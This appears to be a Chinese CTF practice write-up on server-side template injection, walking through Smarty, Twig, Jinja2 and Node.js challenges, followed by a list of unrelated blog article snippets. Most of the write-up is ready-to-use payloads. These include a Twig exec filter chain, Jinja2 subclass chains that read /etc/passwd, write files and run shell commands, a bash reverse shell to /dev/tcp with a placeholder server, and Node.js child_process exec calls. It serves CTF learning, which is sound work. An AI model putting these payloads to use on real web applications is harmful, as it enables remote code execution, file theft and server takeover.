周练7(ssti)
{7*7} ->49 -> smarty
{{7*'7'}} -> 49 -> twig
{{7*'7'}} -> 7777777 -> jinjia2
1. [BJDCTF2020]Cookie is so stable1(smarty模板)

尝试输入数据,结果就是输入什么就回显什么
有两个包,第一个为session赋值,第二的请求页面
尝试{{7*8}}发现有ssti
尝试X-Forwarded-For: {{system("ls")}} {php}phpinfo();{/php} {if phpinfo()}{/if}失败
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} //id是执行linux命令的地方,这个payload好像只能回显最前面的一个
payload:
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../flag|tr '\n' ','")}}
2. [WesternCTF2018]shrine1(flask模板jinjia2框架)
import flask
import os app = flask.Flask(__name__)
//app.config保存这个app的所有配置变量
app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config,猜测这就是flag, 如果没有过滤可以直接{{config}}即可查看所有app.config内容@app.route('/')
def index():
return open(__file__).read() @app.route('/shrine/')
def shrine(shrine): def safe_jinja(s):
s = s.replace('(', '').replace(')', '')//转义括号
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//上面这行代码把黑名单的东西遍历并设为空
return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__':
app.run(debug=True)
原理
render_template默认会对{{}}里的语句进行转义,
当我们把render_template 换成render_template_string后,并对参数不进行处理,就会发生ssti注入

{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句
__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)
[].__class__.__base__.__subclasses__()
<type 'list'> <type 'object'>
''.__class__.__mro__[2].__subclasses__()
<type 'str'> <type 'object'>
().__class__.__bases__[0].__subclasses__()
<type 'tuple'> <type 'object'>
{}.__class__.__mro__[1].__subclasses__()
(<class 'dict'>, <class 'object'>)
{{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}
40<type 'file'>
文件读写:
''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
71 <class ‘site._Printer’>
内含os模块的类
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
59 <class ‘warnings.catch_warnings’>
不含os模块的类
# eval
{% print([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')) %}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
#__import__
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('ls')}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
258 <class 'subprocess.Popen'>
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{()[request.args.a][request.args.b]}}&a=__class__&b=__base__
更多 https://blog.csdn.net/miuzzx/article/details/110220425
python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}可以查看查看所有全局变量
看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}
3.[DASCTF X CBCTF 2022九月挑战赛]Text Reverser

发现{{}}被过滤了,利用{% print([].__class__.__base__.__subclasses__()) %}绕过
nodejs
require("fs").readFileSync("fl001g.txt")
require('child_process').exec('calc')
global.process.mainModule.constructor._load('child_process').exec('calc') global.process.mainModule.require('child_process').exec('calc')
周练7(ssti)的更多相关文章
- 牛客算法周周练20 F.紫魔法师 (二分图染色)
题意:给你一张图,对其染色,使得相连的点的颜色两两不同求,最少使用多少种颜色. 题解:首先,若\(n=1\),只需要一种.然后我们再去判断是否是二分图,对于二分图,两种颜色就够了,若不是二分图,也就是 ...
- 重磅︱文本挖掘深度学习之word2vec的R语言实现
每每以为攀得众山小,可.每每又切实来到起点,大牛们,缓缓脚步来俺笔记葩分享一下吧,please~ --------------------------- 笔者寄语:2013年末,Google发布的 w ...
- 001-电脑操作规范-2019年03月.doc
001-电脑操作规范-2019年03月.doc 本文作者:徐晓亮 BoAi 作者腾讯QQ号码:595076941 /////////////////////////////////////// ...
- NOIP2018 20天训练
Day 0 2018.10.20 其实写的时候已经是Day 1了--(凌晨两点) 终于停课了,爽啊 get树状数组+线段树(延迟标记) 洛谷:提高组所有nlogn模板+每日一道搜索题(基本的图的遍历题 ...
- 20165325 2017-2018-2《Java程序设计》课程总结
20165325 2017-2018-2<Java程序设计>课程总结 一.每周作业链接汇总 1.预备作业一:我期待的师生关系 20165325 期望的师生关系 简要内容: 我心中的好老师 ...
- P1434 [SHOI2002]滑雪 dfs
题目描述 Michael喜欢滑雪.这并不奇怪,因为滑雪的确很刺激.可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,你不得不再次走上坡或者等待升降机来载你.Michael想知道在一个区域中最长 ...
- 喊山 BFS
一个山头呼喊的声音可以被临近的山头同时听到.题目假设每个山头最多有两个能听到它的临近山头.给定任意一个发出原始信号的山头,本题请你找出这个信号最远能传达到的地方. 输入格式: 输入第一行给出3个正整数 ...
- IT帮2019年2月线下活动【定义工作,解读自我】之站桩练习
2019年2月IT帮线下活动[定义工作,解读自我] 昨天的活动收获很大,全面的总结周老师会另写一篇来帮助大家回顾.我想说一下其中最打动我的一句话:“只有你能决定你有多优秀!” “工作中把自己当成企业家 ...
- word2vec词向量训练及中文文本类似度计算
本文是讲述怎样使用word2vec的基础教程.文章比較基础,希望对你有所帮助! 官网C语言下载地址:http://word2vec.googlecode.com/svn/trunk/ 官网Python ...
- 20210717 noip18
考前 从小饭桌出来正好遇到雨下到最大,有伞但还是湿透了 路上看到一个猛男搏击暴风雨 到了机房收拾了半天才开始考试 ys 他们小饭桌十分明智地在小饭桌看题,雨下小了才来 考场 状态很差. 开题,一点想法 ...
随机推荐
- element-ui中table组件的表格嵌套Select,table中使用select
在table组件中,有一个<template slot-scope="scope"></template>,这个模板有一个slot-scope属性,这个属性 ...
- Spring之Bean注入Spring容器中的方式
向spring容器中加入bean有以下方式: 通过<Bean>标签 @Configuration + @Bean @Component + 组件扫描 @Import导入[见 Spring注 ...
- [图像处理] YUV图像处理入门1
目前数字图像处理技术已经应用生活各个方面,但是大部分教程都是利用第三方库(如opencv)对RGB图像格式进行处理.对于YUV图像格式的图像处理教程较少.于是博主搬运总结了多个大牛的文章,总结出来这个 ...
- 一份前端够用的 Linux 命令
前言 你好,我是悦创.我用 VuePress 搭建博客,又实现了 GitHub 和 Gitee Pages 的自动部署,但我最终还是决定自己建站,而在建站的过程中,必不可少会用到 Linux 命令,所 ...
- 可持久化并查集学习笔记 | 题解P3402 可持久化并查集
简要题意 你需要维护一个并查集,支持版本回退,查连通性,合并两个点. 特别的,没进行一次操作都要新建一个版本. 前置知识 可持久化数组,如果您不会,出门左转 [模板]可持久化线段树 1(可持久化数组) ...
- VUE基础之:visible.sync-模态框显示隐藏、elementUI dialog组件报错或者visible属性不生效问题
VUE基础之:visible.sync-模态框显示隐藏.elementUI dialog组件报错或者visible属性不生效问题 这篇文档存成草稿2年了,最近终于有时间拉出来写完了.... 我们日常开 ...
- pytorch 配置详细过程
torch github 项目多 方便,api好调用 cpu版本 装torch 安装最新版本的就可以. torchvision 要版本对应 算法: torchvision版本号= torch版本号第一 ...
- 在GCP的Kubernetes上安装dapr
1 简介 我们之前使用了dapr的本地托管模式,但在生产中我们一般使用Kubernetes托管,本文介绍如何在GKE(GCP Kubernetes)安装dapr. 相关文章: dapr本地托管的服务调 ...
- 【随笔记】SiliconLabs Android aar 库使用
一.导入库文件 1. 拷贝以下两个文件到工程的 libs 目录下 ble_mesh-android_api_high-release.aar ble_mesh-android_api_low-rele ...
- 【学习日志】MySQL分表与索引的关系
什么情况下需要分表呢?分表又能解决什么问题呢? 一般情况下分表的直接原因是数据量太大了,比如一张表一共只有1w条数据,确实没必要分表.为什么数据量大了就需要分表呢?首先得看看数量量过大后会带来什么问题 ...
